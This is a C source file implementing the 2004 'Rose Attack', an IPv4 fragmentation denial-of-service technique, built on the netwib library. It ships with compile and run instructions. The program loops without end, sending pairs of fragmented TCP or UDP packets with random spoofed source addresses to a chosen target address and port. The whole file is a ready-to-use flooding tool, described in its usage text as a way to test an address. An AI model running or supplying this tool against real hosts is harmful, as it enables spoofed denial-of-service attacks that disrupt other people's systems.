/*-------------------------------------------------------------*/ /* Implementation of Rose Attack described by Gandalf . Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack" Written by Laurent Constantin Library netwib must be installed: http://www.laurentconstantin.com/en/netw/netwib/ http://go.to/laurentconstantin To compile and run : gcc -Wall -o rose rose.c `netwib-config -lc` ./rose 1 www.example.com 80 This was successfully tested with netwib 5.12.0, under Linux to test a Windows 2000 host. Local network is Ethernet. */ /*-------------------------------------------------------------*/ #include #include #include /*-------------------------------------------------------------*/ typedef enum { ROSE_TYPE_TCP = 1, ROSE_TYPE_UDP = 2 } rose_type; /*-------------------------------------------------------------*/ typedef struct { rose_type type; netwib_ip ipad; netwib_port port; netwib_bool display; netwib_buf buf; netwib_io *pio; } rose_params; /*-------------------------------------------------------------*/ static netwib_err rose_loop(rose_params *prp) { netwib_iphdr ipheader; netwib_tcphdr tcpheader; netwib_udphdr udpheader; netwib_buf payload; netwib_uint32 numsent = 0; /* This can be optimized because ipheader for example does not need to be initialized each time. However, this is easier to understand. */ while (NETWIB_TRUE) { /* construct first fragment */ netwib__buf_reinit(&prp->buf); netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipheader)); ipheader.header.ip4.morefrag = NETWIB_TRUE; ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */ ipheader.src.iptype = NETWIB_IPTYPE_IP4; netwib_er(netwib_uint32_init_rand_all(&ipheader.src.ipvalue.ip4)); ipheader.dst = prp->ipad; switch(prp->type) { case ROSE_TYPE_TCP : netwib_er(netwib_tcphdr_initdefault(&tcpheader)); netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpheader.src)); if (prp->port == 0) { netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpheader.dst)); } else { tcpheader.dst = prp->port; } tcpheader.ack = NETWIB_TRUE; netwib_er(netwib_buf_init_ext_text("1234567890123456789012345678", &payload)); netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload, &prp->buf)); break; case ROSE_TYPE_UDP : netwib_er(netwib_udphdr_initdefault(&udpheader)); netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpheader.src)); if (prp->port == 0) { netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpheader.dst)); } else { udpheader.dst = prp->port; } netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012", &payload)); netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload, &prp->buf)); break; } if (prp->display) { netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY, NETWIB_ENCODETYPE_DUMP)); } netwib_er(netwib_io_write(prp->pio, &prp->buf)); /* construct last fragment */ netwib__buf_reinit(&prp->buf); ipheader.header.ip4.morefrag = NETWIB_FALSE; ipheader.header.ip4.offsetfrag = 0x1FF0; switch(prp->type) { case ROSE_TYPE_TCP : ipheader.protocol = NETWIB_IPPROTO_TCP; break; case ROSE_TYPE_UDP : ipheader.protocol = NETWIB_IPPROTO_UDP; break; } netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012", &payload)); netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf)); if (prp->display) { netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY, NETWIB_ENCODETYPE_DUMP)); } netwib_er(netwib_io_write(prp->pio, &prp->buf)); /* dot display */ if (!prp->display && (numsent%100)==0) { printf("."); fflush(stdout); } numsent++; } return(NETWIB_ERR_OK); } /*-------------------------------------------------------------*/ int main(int argc, char* argv[]) { rose_params rp; netwib_buf ipstr; netwib_err ret; /* initialize netwib */ netwib_init(); /* check parameter count */ if (argc < 3 || argc > 4) { printf("Usage : %s type(1or2) ipaddress [port]\n", argv[0]); printf("Example: %s 1 1.2.3.4 80\n", argv[0]); printf(" type : %d=tcp, %d=udp\n", ROSE_TYPE_TCP, ROSE_TYPE_UDP); printf(" ipaddress: address to test\n"); printf(" port : optional port number (0 means random)\n"); return(1); } /* first parameter is type */ rp.type = atoi(argv[1]); switch(rp.type) { case ROSE_TYPE_TCP : case ROSE_TYPE_UDP : break; default : printf("First parameter must be 1 or 2 (currently=%s)\n", argv[1]); return(2); } /* second parameter is IP address */ netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr)); ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad); if (ret != NETWIB_ERR_OK) { printf("Second parameter must be an IP or hostname (currently=%s)\n", argv[2]); return(3); } /* third parameter is port number */ rp.port = 0; if (argc == 4) { rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */ } /* set to NETWIB_TRUE to activate display */ rp.display = NETWIB_FALSE; /* instead of allocating memory each time, just use this permanent buffer */ netwib_er(netwib_buf_init_mallocdefault(&rp.buf)); /* initialize spoofing feature */ netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW, &rp.pio)); /* main function */ ret = rose_loop(&rp); if (ret != NETWIB_ERR_OK) { netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL)); return(ret); } /* close netwib */ netwib_er(netwib_io_close(&rp.pio)); netwib_er(netwib_buf_close(&rp.buf)); netwib_close(); return(0); }